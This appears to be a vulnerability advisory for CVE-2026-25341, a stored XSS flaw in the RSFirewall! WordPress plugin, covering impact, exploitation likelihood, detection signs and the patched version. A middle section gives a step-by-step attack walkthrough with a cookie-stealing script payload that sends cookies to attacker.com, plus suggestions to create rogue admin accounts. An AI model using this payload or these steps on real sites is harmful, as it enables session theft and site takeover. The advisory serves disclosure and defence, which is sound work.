CVE-2026-25341: 
WordPress vulnerability analysis and mitigation

CVE-2026-25341 is a Stored Cross-Site Scripting (XSS) vulnerability in the RSJoomla! RSFirewall! plugin, affecting all versions up to and including 1.1.45. The flaw stems from improper neutralization of input during web page generation (CWE-79), allowing unauthenticated attackers to inject persistent malicious scripts into the application. It was reported by researcher "johska" on January 10, 2026, and publicly disclosed on March 23–25, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High/Medium) (Patchstack, Feedly).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting) and specifically manifests as a Stored XSS, meaning malicious payloads are persisted server-side and executed in victims' browsers upon page load. The attack vector is network-based with low attack complexity and no privileges required, though successful exploitation requires user interaction (a privileged user must visit or interact with the affected page). The scope is changed, meaning the injected script can affect resources beyond the vulnerable component itself, such as the browser session of an administrator (Patchstack).

Successful exploitation allows an attacker to inject persistent malicious scripts into the WordPress site, which execute in the browsers of all visitors — including administrators — who view the affected content. This can result in session hijacking, credential theft, unauthorized administrative actions, defacement, or redirection to malicious sites. The changed scope means the impact extends beyond the plugin itself to the broader WordPress environment and its users (Patchstack, Feedly).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-25341 at this time. The EPSS score is approximately 0.033% (0.000330), indicating a low current probability of exploitation. The vulnerability does not appear in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of traffic or popularity, and has issued a virtual patch (mitigation rule) for its users (Patchstack, Feedly).

1. Reconnaissance: Identify WordPress sites running the RSFirewall! plugin at version 1.1.45 or earlier using tools like WPScan, Shodan, or Google dorks (e.g., inurl:wp-content/plugins/rsfirewall).
2. Identify injectable input: Locate the input field(s) within the RSFirewall! plugin that are not properly sanitized before being stored in the database (e.g., firewall rule fields, log entries, or configuration inputs accessible without authentication).
3. Craft malicious payload: Prepare a Stored XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie;</script> or a payload that creates a rogue admin account.
4. Submit payload: Submit the crafted payload via the vulnerable input field. Since no authentication is required, this can be done directly via an HTTP request to the relevant endpoint.
5. Wait for victim interaction: When a privileged user (e.g., a WordPress administrator) visits the page where the payload is stored, the script executes in their browser.
6. Achieve objective: Harvest session cookies, perform actions as the administrator (e.g., install backdoors, create new admin accounts), or redirect users to phishing/malware pages (Patchstack).

• Network: Unexpected outbound HTTP requests from site visitors' browsers to unknown external domains (e.g., attacker-controlled cookie-harvesting endpoints); unusual POST requests to RSFirewall! plugin endpoints containing script tags or encoded JavaScript.
• Logs: WordPress access logs showing submissions to RSFirewall! input fields containing <script>, javascript:, onerror=, or other XSS-indicative strings; repeated requests from a single IP to plugin configuration pages.
• File System: Unexpected modifications to WordPress database entries associated with RSFirewall! plugin data (detectable via database integrity monitoring).
• Browser/Application: Administrators reporting unexpected redirects, pop-ups, or session anomalies after visiting the WordPress admin panel pages that render RSFirewall! content.

The vendor has released RSFirewall! version 1.1.46, which patches this vulnerability. All users running version 1.1.45 or earlier should update immediately to version 1.1.46 or later. As a temporary measure, Patchstack has issued a virtual patch (mitigation rule) that blocks exploitation attempts for Patchstack-protected sites until the plugin update can be applied. If unable to update, site owners should consult their hosting provider or web developer for assistance (Patchstack).

Wordfence included CVE-2026-25341 in its weekly WordPress vulnerability report covering March 23–29, 2026, highlighting it as part of broader plugin security tracking. Patchstack, which assigned and disclosed the CVE, characterized it as a medium-priority issue with potential for mass exploitation campaigns typical of XSS vulnerabilities in widely-used WordPress plugins (Wordfence, Patchstack).